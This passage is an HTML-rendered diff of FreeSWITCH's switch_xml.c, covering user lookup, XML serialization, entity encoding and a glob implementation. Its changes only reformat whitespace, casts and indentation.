</span><span class="cx">         switch_xml_t group = NULL, groups = NULL, users = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((groups = switch_xml_child(domain, &quot;groups&quot;))) {
</span><span class="cx">                 for (group = switch_xml_child(groups, &quot;group&quot;); group; group = group-&gt;next) {
</span><span class="cx">                         if ((users = switch_xml_child(group, &quot;users&quot;))) {
</span><span class="lines">@@ -1743,18 +1743,15 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(const char *key,
</span><span class="cx">                                                                                                            const char *user_name,
</span><del>-                                                                                                           const char *domain_name, 
-                                                                                                           const char *ip, 
</del><ins>+                                                                                                           const char *domain_name,
+                                                                                                           const char *ip,
</ins><span class="cx">                                                                                                            switch_xml_t *root,
</span><del>-                                                                                                           switch_xml_t *domain,
-                                                                                                           switch_xml_t *user,
-                                                                                                           switch_xml_t *ingroup,
-                                                                                                           switch_event_t *params)
</del><ins>+                                                                                                           switch_xml_t *domain, switch_xml_t *user, switch_xml_t *ingroup, switch_event_t *params)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_event_t *my_params = NULL, *search_params = NULL;
</span><span class="cx">         switch_xml_t group = NULL, groups = NULL, users = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         *root = NULL;
</span><span class="cx">         *user = NULL;
</span><span class="cx">         *domain = NULL;
</span><span class="lines">@@ -1782,11 +1779,11 @@
</span><span class="cx">         if (ip) {
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;ip&quot;, ip);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = switch_xml_locate_domain(domain_name, params, root, domain)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="cx">         if (params != my_params) {
</span><span class="lines">@@ -1809,9 +1806,9 @@
</span><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 status = find_user_in_tag(*domain, ip, user_name, key, params, user);
</span><span class="cx">         }
</span><del>-        
- end:
</del><span class="cx"> 
</span><ins>+  end:
+
</ins><span class="cx">         if (my_params) {
</span><span class="cx">                 switch_event_destroy(&amp;my_params);
</span><span class="cx">         }
</span><span class="lines">@@ -1848,16 +1845,16 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_xml_free_in_thread(switch_xml_t xml, int stacksize)
</span><span class="cx"> {
</span><span class="cx">         switch_thread_t *thread;
</span><del>-    switch_threadattr_t *thd_attr;
</del><ins>+        switch_threadattr_t *thd_attr;
</ins><span class="cx">         switch_memory_pool_t *pool = NULL;
</span><span class="cx">         struct destroy_xml *dx;
</span><span class="cx"> 
</span><span class="cx">         switch_core_new_memory_pool(&amp;pool);
</span><span class="cx"> 
</span><span class="cx">         switch_threadattr_create(&amp;thd_attr, pool);
</span><del>-    switch_threadattr_detach_set(thd_attr, 1);
</del><ins>+        switch_threadattr_detach_set(thd_attr, 1);
</ins><span class="cx">         /* TBD figure out how much space we need by looking at the xml_t when stacksize == 0 */
</span><del>-    switch_threadattr_stacksize_set(thd_attr, stacksize);
</del><ins>+        switch_threadattr_stacksize_set(thd_attr, stacksize);
</ins><span class="cx"> 
</span><span class="cx">         dx = switch_core_alloc(pool, sizeof(*dx));
</span><span class="cx">         dx-&gt;pool = pool;
</span><span class="lines">@@ -1923,7 +1920,7 @@
</span><span class="cx">                 r = switch_xml_root();
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(XML_LOCK);
</span><span class="cx"> 
</span><span class="lines">@@ -1955,7 +1952,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_mutex_lock(XML_LOCK);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (MAIN_XML_ROOT) {
</span><span class="cx">                 switch_xml_t xml = MAIN_XML_ROOT;
</span><span class="cx">                 MAIN_XML_ROOT = NULL;
</span><span class="lines">@@ -1991,7 +1988,8 @@
</span><span class="cx">         const char *e = NULL;
</span><span class="cx">         int immune = 0;
</span><span class="cx"> 
</span><del>-        if (!(s &amp;&amp; *s)) return *dst;        
</del><ins>+        if (!(s &amp;&amp; *s))
+                return *dst;
</ins><span class="cx"> 
</span><span class="cx">         if (len) {
</span><span class="cx">                 e = s + len;
</span><span class="lines">@@ -1999,8 +1997,9 @@
</span><span class="cx"> 
</span><span class="cx">         while (s != e) {
</span><span class="cx">                 while (*dlen + 10 &gt; *max) {
</span><del>-                        char *tmp = (char *)realloc(*dst, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *dst;
</del><ins>+                        char *tmp = (char *) realloc(*dst, *max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return *dst;
</ins><span class="cx">                         *dst = tmp;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2009,39 +2008,39 @@
</span><span class="cx">                                 return *dst;
</span><span class="cx">                         }
</span><span class="cx">                         (*dst)[(*dlen)++] = *s;
</span><del>-                } else 
</del><ins>+                } else
</ins><span class="cx">                         switch (*s) {
</span><del>-                case '\0':
-                        return *dst;
-                case '&amp;':
-                        *dlen += sprintf(*dst + *dlen, &quot;&amp;amp;&quot;);
-                        break;
-                case '&lt;':
-                        if (*(s+1) == '!') {
-                                (*dst)[(*dlen)++] = *s;
-                                immune++;
</del><ins>+                        case '\0':
+                                return *dst;
+                        case '&amp;':
+                                *dlen += sprintf(*dst + *dlen, &quot;&amp;amp;&quot;);
</ins><span class="cx">                                 break;
</span><ins>+                        case '&lt;':
+                                if (*(s + 1) == '!') {
+                                        (*dst)[(*dlen)++] = *s;
+                                        immune++;
+                                        break;
+                                }
+                                *dlen += sprintf(*dst + *dlen, &quot;&amp;lt;&quot;);
+                                break;
+                        case '&gt;':
+                                *dlen += sprintf(*dst + *dlen, &quot;&amp;gt;&quot;);
+                                break;
+                        case '&quot;':
+                                *dlen += sprintf(*dst + *dlen, (a) ? &quot;&amp;quot;&quot; : &quot;\&quot;&quot;);
+                                break;
+                        case '\n':
+                                *dlen += sprintf(*dst + *dlen, (a) ? &quot;&amp;#xA;&quot; : &quot;\n&quot;);
+                                break;
+                        case '\t':
+                                *dlen += sprintf(*dst + *dlen, (a) ? &quot;&amp;#x9;&quot; : &quot;\t&quot;);
+                                break;
+                        case '\r':
+                                *dlen += sprintf(*dst + *dlen, &quot;&amp;#xD;&quot;);
+                                break;
+                        default:
+                                (*dst)[(*dlen)++] = *s;
</ins><span class="cx">                         }
</span><del>-                        *dlen += sprintf(*dst + *dlen, &quot;&amp;lt;&quot;);
-                        break;
-                case '&gt;':
-                        *dlen += sprintf(*dst + *dlen, &quot;&amp;gt;&quot;);
-                        break;
-                case '&quot;':
-                        *dlen += sprintf(*dst + *dlen, (a) ? &quot;&amp;quot;&quot; : &quot;\&quot;&quot;);
-                        break;
-                case '\n':
-                        *dlen += sprintf(*dst + *dlen, (a) ? &quot;&amp;#xA;&quot; : &quot;\n&quot;);
-                        break;
-                case '\t':
-                        *dlen += sprintf(*dst + *dlen, (a) ? &quot;&amp;#x9;&quot; : &quot;\t&quot;);
-                        break;
-                case '\r':
-                        *dlen += sprintf(*dst + *dlen, &quot;&amp;#xD;&quot;);
-                        break;
-                default:
-                        (*dst)[(*dlen)++] = *s;
-                }
</del><span class="cx">                 s++;
</span><span class="cx">         }
</span><span class="cx">         return *dst;
</span><span class="lines">@@ -2051,24 +2050,25 @@
</span><span class="cx"> /* Recursively converts each tag to xml appending it to *s. Reallocates *s if
</span><span class="cx">    its length exceeds max. start is the location of the previous tag in the
</span><span class="cx">    parent tag's character content. Returns *s. */
</span><del>-static char *switch_xml_toxml_r(switch_xml_t xml, char **s, switch_size_t *len, switch_size_t *max, switch_size_t start, char ***attr, uint32_t * count)
</del><ins>+static char *switch_xml_toxml_r(switch_xml_t xml, char **s, switch_size_t *len, switch_size_t *max, switch_size_t start, char ***attr, uint32_t *count)
</ins><span class="cx"> {
</span><span class="cx">         int i, j;
</span><span class="cx">         char *txt;
</span><span class="cx">         switch_size_t off;
</span><span class="cx">         uint32_t lcount;
</span><span class="cx"> 
</span><del>-tailrecurse:
</del><ins>+  tailrecurse:
</ins><span class="cx">         off = 0;
</span><span class="cx">         lcount = 0;
</span><del>-        txt = (char *)(xml-&gt;parent) ? xml-&gt;parent-&gt;txt : (char *)&quot;&quot;;
</del><ins>+        txt = (char *) (xml-&gt;parent) ? xml-&gt;parent-&gt;txt : (char *) &quot;&quot;;
</ins><span class="cx"> 
</span><span class="cx">         /* parent character content up to this tag */
</span><span class="cx">         *s = switch_xml_ampencode(txt + start, xml-&gt;off - start, s, len, max, 0);
</span><span class="cx"> 
</span><span class="cx">         while (*len + strlen(xml-&gt;name) + 5 + (strlen(XML_INDENT) * (*count)) + 1 &gt; *max) {        /* reallocate s */
</span><del>-                char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                if (!tmp) return *s;
</del><ins>+                char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                if (!tmp)
+                        return *s;
</ins><span class="cx">                 *s = tmp;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2084,8 +2084,9 @@
</span><span class="cx">                 if (switch_xml_attr(xml, xml-&gt;attr[i]) != xml-&gt;attr[i + 1])
</span><span class="cx">                         continue;
</span><span class="cx">                 while (*len + strlen(xml-&gt;attr[i]) + 7 + (strlen(XML_INDENT) * (*count)) &gt; *max) {        /* reallocate s */
</span><del>-                        char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *s;
</del><ins>+                        char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return *s;
</ins><span class="cx">                         *s = tmp;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2099,8 +2100,9 @@
</span><span class="cx">                 if (!attr[i][j + 1] || switch_xml_attr(xml, attr[i][j]) != attr[i][j + 1])
</span><span class="cx">                         continue;                        /* skip duplicates and non-values */
</span><span class="cx">                 while (*len + strlen(attr[i][j]) + 8 + (strlen(XML_INDENT) * (*count)) &gt; *max) {        /* reallocate s */
</span><del>-                        char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *s;
</del><ins>+                        char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return *s;
</ins><span class="cx">                         *s = tmp;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2120,10 +2122,11 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         while (*len + strlen(xml-&gt;name) + 5 + (strlen(XML_INDENT) * (*count)) &gt; *max) {        /* reallocate s */
</span><del>-                        char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *s;
-                        *s = tmp;
-                }
</del><ins>+                char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                if (!tmp)
+                        return *s;
+                *s = tmp;
+        }
</ins><span class="cx"> 
</span><span class="cx">         if (xml-&gt;child || xml-&gt;txt) {
</span><span class="cx">                 if (*(*s + (*len) - 1) == '\n') {
</span><span class="lines">@@ -2155,7 +2158,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *r, *s;
</span><span class="cx">         switch_mutex_lock(XML_GEN_LOCK);
</span><del>-        s = (char *)malloc(SWITCH_XML_BUFSIZE);
</del><ins>+        s = (char *) malloc(SWITCH_XML_BUFSIZE);
</ins><span class="cx">         switch_assert(s);
</span><span class="cx">         r = switch_xml_toxml_buf(xml, s, SWITCH_XML_BUFSIZE, 0, prn_header);
</span><span class="cx">         switch_mutex_unlock(XML_GEN_LOCK);
</span><span class="lines">@@ -2172,7 +2175,7 @@
</span><span class="cx">         char *s, *t, *n, *r;
</span><span class="cx">         int i, j, k;
</span><span class="cx">         uint32_t count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         s = buf;
</span><span class="cx">         assert(s != NULL);
</span><span class="cx">         memset(s, 0, max);
</span><span class="lines">@@ -2180,9 +2183,9 @@
</span><span class="cx">         if (prn_header) {
</span><span class="cx">                 len += sprintf(s + len, &quot;&lt;?xml version=\&quot;1.0\&quot;?&gt;\n&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!xml || !xml-&gt;name) {
</span><del>-                if (!(r = (char *)realloc(s, len + 1))) {
</del><ins>+                if (!(r = (char *) realloc(s, len + 1))) {
</ins><span class="cx">                         abort();
</span><span class="cx">                 }
</span><span class="cx">                 return r;
</span><span class="lines">@@ -2199,7 +2202,7 @@
</span><span class="cx">                                 continue;                /* not pre-root */
</span><span class="cx">                         }
</span><span class="cx">                         while (len + strlen(t = root-&gt;pi[i][0]) + strlen(n) + 7 &gt; max) {
</span><del>-                                if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
</del><ins>+                                if (!(r = (char *) realloc(s, max += SWITCH_XML_BUFSIZE))) {
</ins><span class="cx">                                         abort();
</span><span class="cx">                                 }
</span><span class="cx">                                 s = r;
</span><span class="lines">@@ -2220,7 +2223,7 @@
</span><span class="cx">                                 continue;                /* not post-root */
</span><span class="cx">                         }
</span><span class="cx">                         while (len + strlen(t = root-&gt;pi[i][0]) + strlen(n) + 7 &gt; max) {
</span><del>-                                if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
</del><ins>+                                if (!(r = (char *) realloc(s, max += SWITCH_XML_BUFSIZE))) {
</ins><span class="cx">                                         abort();
</span><span class="cx">                                 }
</span><span class="cx">                                 s = r;
</span><span class="lines">@@ -2229,7 +2232,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (!(r = (char *)realloc(s, len + 1))) {
</del><ins>+        if (!(r = (char *) realloc(s, len + 1))) {
</ins><span class="cx">                 abort();
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2244,8 +2247,8 @@
</span><span class="cx">         char **a, *s;
</span><span class="cx">         switch_xml_t orig_xml;
</span><span class="cx"> 
</span><del>-tailrecurse:
-         root = (switch_xml_root_t) xml;
</del><ins>+  tailrecurse:
+        root = (switch_xml_root_t) xml;
</ins><span class="cx">         if (!xml) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2265,11 +2268,11 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_xml_free(xml-&gt;child);
</span><del>-        /*switch_xml_free(xml-&gt;ordered);*/
</del><ins>+        /*switch_xml_free(xml-&gt;ordered); */
</ins><span class="cx"> 
</span><span class="cx">         if (!xml-&gt;parent) {                        /* free root tag allocations */
</span><span class="cx"> #if (_MSC_VER &gt;= 1400)                        // VC8+
</span><del>-                __analysis_assume(sizeof(root-&gt;ent) &gt; 44); /* tail recursion confuses code analysis */
</del><ins>+                __analysis_assume(sizeof(root-&gt;ent) &gt; 44);        /* tail recursion confuses code analysis */
</ins><span class="cx"> #endif
</span><span class="cx">                 for (i = 10; root-&gt;ent[i]; i += 2)        /* 0 - 9 are default entities (&lt;&gt;&amp;&quot;') */
</span><span class="cx">                         if ((s = root-&gt;ent[i + 1]) &lt; root-&gt;s || s &gt; root-&gt;e)
</span><span class="lines">@@ -2332,12 +2335,13 @@
</span><span class="cx">                 &quot;apos;&quot;, &quot;&amp;#39;&quot;, &quot;amp;&quot;, &quot;&amp;#38;&quot;, NULL
</span><span class="cx">         };
</span><span class="cx">         switch_xml_root_t root = (switch_xml_root_t) malloc(sizeof(struct switch_xml_root));
</span><del>-        if (!root) return NULL;
</del><ins>+        if (!root)
+                return NULL;
</ins><span class="cx">         memset(root, '\0', sizeof(struct switch_xml_root));
</span><span class="cx">         root-&gt;xml.name = (char *) name;
</span><span class="cx">         root-&gt;cur = &amp;root-&gt;xml;
</span><del>-        strcpy(root-&gt;err, root-&gt;xml.txt = (char *)&quot;&quot;);
-        root-&gt;ent = (char **)memcpy(malloc(sizeof(ent)), ent, sizeof(ent));
</del><ins>+        strcpy(root-&gt;err, root-&gt;xml.txt = (char *) &quot;&quot;);
+        root-&gt;ent = (char **) memcpy(malloc(sizeof(ent)), ent, sizeof(ent));
</ins><span class="cx">         root-&gt;attr = root-&gt;pi = (char ***) (root-&gt;xml.attr = SWITCH_XML_NIL);
</span><span class="cx">         return &amp;root-&gt;xml;
</span><span class="cx"> }
</span><span class="lines">@@ -2388,14 +2392,16 @@
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t child;
</span><span class="cx"> 
</span><del>-        if (!xml) return NULL;
-        if (!(child = (switch_xml_t) malloc(sizeof(struct switch_xml)))) return NULL;
</del><ins>+        if (!xml)
+                return NULL;
+        if (!(child = (switch_xml_t) malloc(sizeof(struct switch_xml))))
+                return NULL;
</ins><span class="cx">         memset(child, '\0', sizeof(struct switch_xml));
</span><span class="cx">         child-&gt;name = (char *) name;
</span><span class="cx">         child-&gt;attr = SWITCH_XML_NIL;
</span><span class="cx">         child-&gt;off = off;
</span><span class="cx">         child-&gt;parent = xml;
</span><del>-        child-&gt;txt = (char *)&quot;&quot;;
</del><ins>+        child-&gt;txt = (char *) &quot;&quot;;
</ins><span class="cx"> 
</span><span class="cx">         return switch_xml_insert(child, xml, off);
</span><span class="cx"> }
</span><span class="lines">@@ -2426,18 +2432,20 @@
</span><span class="cx">                 if (!value)
</span><span class="cx">                         return xml;                        /* nothing to do */
</span><span class="cx">                 if (xml-&gt;attr == SWITCH_XML_NIL) {        /* first attribute */
</span><del>-                        xml-&gt;attr = (char **)malloc(4 * sizeof(char *));
-                        if (!xml-&gt;attr) return NULL;
</del><ins>+                        xml-&gt;attr = (char **) malloc(4 * sizeof(char *));
+                        if (!xml-&gt;attr)
+                                return NULL;
</ins><span class="cx">                         xml-&gt;attr[1] = strdup(&quot;&quot;);        /* empty list of malloced names/vals */
</span><span class="cx">                 } else {
</span><del>-                        char **tmp = (char **)realloc(xml-&gt;attr, (l + 4) * sizeof(char *));
-                        if (!tmp) return xml;
</del><ins>+                        char **tmp = (char **) realloc(xml-&gt;attr, (l + 4) * sizeof(char *));
+                        if (!tmp)
+                                return xml;
</ins><span class="cx">                         xml-&gt;attr = tmp;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 xml-&gt;attr[l] = (char *) name;        /* set attribute name */
</span><span class="cx">                 xml-&gt;attr[l + 2] = NULL;        /* null terminate attribute list */
</span><del>-                xml-&gt;attr[l + 3] = (char *)realloc(xml-&gt;attr[l + 1], (c = (int) strlen(xml-&gt;attr[l + 1])) + 2);
</del><ins>+                xml-&gt;attr[l + 3] = (char *) realloc(xml-&gt;attr[l + 1], (c = (int) strlen(xml-&gt;attr[l + 1])) + 2);
</ins><span class="cx">                 strcpy(xml-&gt;attr[l + 3] + c, &quot; &quot;);        /* set name/value as not malloced */
</span><span class="cx">                 if (xml-&gt;flags &amp; SWITCH_XML_DUP)
</span><span class="cx">                         xml-&gt;attr[l + 3][c] = SWITCH_XML_NAMEM;
</span><span class="lines">@@ -2459,8 +2467,9 @@
</span><span class="cx">                 if (xml-&gt;attr[c + 1][l / 2] &amp; SWITCH_XML_NAMEM)
</span><span class="cx">                         free(xml-&gt;attr[l]);
</span><span class="cx">                 memmove(xml-&gt;attr + l, xml-&gt;attr + l + 2, (c - l + 2) * sizeof(char *));
</span><del>-                tmp =(char **)realloc(xml-&gt;attr, (c + 2) * sizeof(char *));
-                if (!tmp) return xml;
</del><ins>+                tmp = (char **) realloc(xml-&gt;attr, (c + 2) * sizeof(char *));
+                if (!tmp)
+                        return xml;
</ins><span class="cx">                 xml-&gt;attr = tmp;
</span><span class="cx">                 memmove(xml-&gt;attr[c + 1] + (l / 2), xml-&gt;attr[c + 1] + (l / 2) + 1, (c / 2) - (l / 2));        /* fix list of which name/vals are malloced */
</span><span class="cx">         }
</span><span class="lines">@@ -2591,24 +2600,24 @@
</span><span class="cx"> #define MAXPATHLEN 256
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-static int         compare(const void *, const void *);
-static int         glob0(const char *, glob_t *, size_t *);
-static int         glob1(char *, glob_t *, size_t *);
-static int         glob2(char *, char *, char *, char *, glob_t *, size_t *);
-static int         glob3(char *, char *, char *, char *, char *, glob_t *, size_t *);
-static int         globextend(const char *, glob_t *, size_t *);
-static int         match(char *, char *, char *);
</del><ins>+static int compare(const void *, const void *);
+static int glob0(const char *, glob_t *, size_t *);
+static int glob1(char *, glob_t *, size_t *);
+static int glob2(char *, char *, char *, char *, glob_t *, size_t *);
+static int glob3(char *, char *, char *, char *, char *, glob_t *, size_t *);
+static int globextend(const char *, glob_t *, size_t *);
+static int match(char *, char *, char *);
</ins><span class="cx"> 
</span><span class="cx"> #pragma warning(push)
</span><span class="cx"> #pragma warning(disable:4310)
</span><span class="cx"> 
</span><del>-int glob(const char *pattern, int flags, int (*errfunc)(const char *, int), glob_t *pglob)
</del><ins>+int glob(const char *pattern, int flags, int (*errfunc) (const char *, int), glob_t *pglob)
</ins><span class="cx"> {
</span><span class="cx">         const unsigned char *patnext;
</span><span class="cx">         size_t limit;
</span><span class="cx">         char c;
</span><span class="cx">         char *bufnext, *bufend, patbuf[MAXPATHLEN];
</span><del>-        
</del><ins>+
</ins><span class="cx">         patnext = (unsigned char *) pattern;
</span><span class="cx">         if (!(flags &amp; GLOB_APPEND)) {
</span><span class="cx">                 pglob-&gt;gl_pathc = 0;
</span><span class="lines">@@ -2625,13 +2634,13 @@
</span><span class="cx">         pglob-&gt;gl_flags = flags &amp; ~GLOB_MAGCHAR;
</span><span class="cx">         pglob-&gt;gl_errfunc = errfunc;
</span><span class="cx">         pglob-&gt;gl_matchc = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         bufnext = patbuf;
</span><span class="cx">         bufend = bufnext + MAXPATHLEN - 1;
</span><span class="cx">         while (bufnext &lt; bufend &amp;&amp; (c = *patnext++) != EOS)
</span><span class="cx">                 *bufnext++ = c;
</span><span class="cx">         *bufnext = EOS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return glob0(patbuf, pglob, &amp;limit);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2647,66 +2656,64 @@
</span><span class="cx">         int c, err;
</span><span class="cx">         size_t oldpathc;
</span><span class="cx">         char *bufnext, patbuf[MAXPATHLEN];
</span><del>-        
</del><ins>+
</ins><span class="cx">         qpatnext = pattern;
</span><span class="cx">         oldpathc = pglob-&gt;gl_pathc;
</span><span class="cx">         bufnext = patbuf;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* We don't need to check for buffer overflow any more. */
</span><span class="cx">         while ((c = *qpatnext++) != EOS) {
</span><span class="cx">                 switch (c) {
</span><del>-                        case SEP:
-                                *bufnext++ = WIN_SEP;
-                                break;
-                        case LBRACKET:
-                                c = *qpatnext;
</del><ins>+                case SEP:
+                        *bufnext++ = WIN_SEP;
+                        break;
+                case LBRACKET:
+                        c = *qpatnext;
+                        if (c == NOT)
+                                ++qpatnext;
+                        if (*qpatnext == EOS || strchr((char *) qpatnext + 1, RBRACKET) == NULL) {
+                                *bufnext++ = LBRACKET;
</ins><span class="cx">                                 if (c == NOT)
</span><del>-                                        ++qpatnext;
-                                if (*qpatnext == EOS ||
-                                        strchr((char *) qpatnext+1, RBRACKET) == NULL) {
-                                        *bufnext++ = LBRACKET;
-                                        if (c == NOT)
-                                                --qpatnext;
-                                        break;
-                                }
-                                *bufnext++ = M_SET;
-                                if (c == NOT)
-                                        *bufnext++ = M_NOT;
-                                c = *qpatnext++;
-                                do {
-                                        *bufnext++ = CHAR(c);
-                                        if (*qpatnext == RANGE &amp;&amp;
-                                                (c = qpatnext[1]) != RBRACKET) {
-                                                *bufnext++ = M_RNG;
-                                                *bufnext++ = CHAR(c);
-                                                qpatnext += 2;
-                                        }
-                                } while ((c = *qpatnext++) != RBRACKET);
-                                pglob-&gt;gl_flags |= GLOB_MAGCHAR;
-                                *bufnext++ = M_END;
</del><ins>+                                        --qpatnext;
</ins><span class="cx">                                 break;
</span><del>-                        case QUESTION:
-                                pglob-&gt;gl_flags |= GLOB_MAGCHAR;
-                                *bufnext++ = M_ONE;
-                                break;
-                        case STAR:
-                                pglob-&gt;gl_flags |= GLOB_MAGCHAR;
-                                /* collapse adjacent stars to one,
-                                 * to avoid exponential behavior
-                                 */
-                                if (bufnext == patbuf || bufnext[-1] != M_ALL)
-                                        *bufnext++ = M_ALL;
-                                break;
-                        default:
</del><ins>+                        }
+                        *bufnext++ = M_SET;
+                        if (c == NOT)
+                                *bufnext++ = M_NOT;
+                        c = *qpatnext++;
+                        do {
</ins><span class="cx">                                 *bufnext++ = CHAR(c);
</span><del>-                                break;
</del><ins>+                                if (*qpatnext == RANGE &amp;&amp; (c = qpatnext[1]) != RBRACKET) {
+                                        *bufnext++ = M_RNG;
+                                        *bufnext++ = CHAR(c);
+                                        qpatnext += 2;
+                                }
+                        } while ((c = *qpatnext++) != RBRACKET);
+                        pglob-&gt;gl_flags |= GLOB_MAGCHAR;
+                        *bufnext++ = M_END;
+                        break;
+                case QUESTION:
+                        pglob-&gt;gl_flags |= GLOB_MAGCHAR;
+                        *bufnext++ = M_ONE;
+                        break;
+                case STAR:
+                        pglob-&gt;gl_flags |= GLOB_MAGCHAR;
+                        /* collapse adjacent stars to one,
+                         * to avoid exponential behavior
+                         */
+                        if (bufnext == patbuf || bufnext[-1] != M_ALL)
+                                *bufnext++ = M_ALL;
+                        break;
+                default:
+                        *bufnext++ = CHAR(c);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         *bufnext = EOS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((err = glob1(patbuf, pglob, limit)) != 0)
</span><del>-                return(err);
-        
</del><ins>+                return (err);
+
</ins><span class="cx">         /*
</span><span class="cx">          * If there was no match we are going to append the pattern
</span><span class="cx">          * if GLOB_NOCHECK was specified or if GLOB_NOMAGIC was specified
</span><span class="lines">@@ -2714,33 +2721,29 @@
</span><span class="cx">          * GLOB_NOMAGIC is there just for compatibility with csh.
</span><span class="cx">          */
</span><span class="cx">         if (pglob-&gt;gl_pathc == oldpathc) {
</span><del>-                if (((pglob-&gt;gl_flags &amp; GLOB_NOCHECK) ||
-                         ((pglob-&gt;gl_flags &amp; GLOB_NOMAGIC) &amp;&amp;
-                          !(pglob-&gt;gl_flags &amp; GLOB_MAGCHAR))))
-                        return(globextend(pattern, pglob, limit));
</del><ins>+                if (((pglob-&gt;gl_flags &amp; GLOB_NOCHECK) || ((pglob-&gt;gl_flags &amp; GLOB_NOMAGIC) &amp;&amp; !(pglob-&gt;gl_flags &amp; GLOB_MAGCHAR))))
+                        return (globextend(pattern, pglob, limit));
</ins><span class="cx">                 else
</span><del>-                        return(GLOB_NOMATCH);
</del><ins>+                        return (GLOB_NOMATCH);
</ins><span class="cx">         }
</span><span class="cx">         if (!(pglob-&gt;gl_flags &amp; GLOB_NOSORT))
</span><del>-                qsort(pglob-&gt;gl_pathv + pglob-&gt;gl_offs + oldpathc,
-                          pglob-&gt;gl_pathc - oldpathc, sizeof(char *), compare);
-        return(0);
</del><ins>+                qsort(pglob-&gt;gl_pathv + pglob-&gt;gl_offs + oldpathc, pglob-&gt;gl_pathc - oldpathc, sizeof(char *), compare);
+        return (0);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int compare(const void *p, const void *q)
</span><span class="cx"> {
</span><del>-        return(strcmp(*(char **)p, *(char **)q));
</del><ins>+        return (strcmp(*(char **) p, *(char **) q));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int glob1(char *pattern, glob_t *pglob, size_t *limit)
</span><span class="cx"> {
</span><span class="cx">         char pathbuf[MAXPATHLEN];
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* A null pathname is invalid -- POSIX 1003.1 sect. 2.4. */
</span><span class="cx">         if (*pattern == EOS)
</span><del>-                return(0);
-        return(glob2(pathbuf, pathbuf, pathbuf + MAXPATHLEN - 1,
-                                 pattern, pglob, limit));
</del><ins>+                return (0);
+        return (glob2(pathbuf, pathbuf, pathbuf + MAXPATHLEN - 1, pattern, pglob, limit));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -2753,27 +2756,27 @@
</span><span class="cx">         struct stat sb;
</span><span class="cx">         char *p, *q;
</span><span class="cx">         int anymeta;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /*
</span><span class="cx">          * Loop over pattern segments until end of pattern or until
</span><span class="cx">          * segment with meta character found.
</span><span class="cx">          */
</span><span class="cx">         for (anymeta = 0;;) {
</span><del>-                if (*pattern == EOS) {                /* End of pattern? */
</del><ins>+                if (*pattern == EOS) {        /* End of pattern? */
</ins><span class="cx">                         *pathend = EOS;
</span><span class="cx">                         if (stat(pathbuf, &amp;sb))
</span><del>-                                return(0);
-                        
-                        if (((pglob-&gt;gl_flags &amp; GLOB_MARK) &amp;&amp; pathend[-1] != SEP &amp;&amp; pathend[-1] != WIN_SEP) &amp;&amp; (_S_IFDIR &amp; sb.st_mode) ) {
</del><ins>+                                return (0);
+
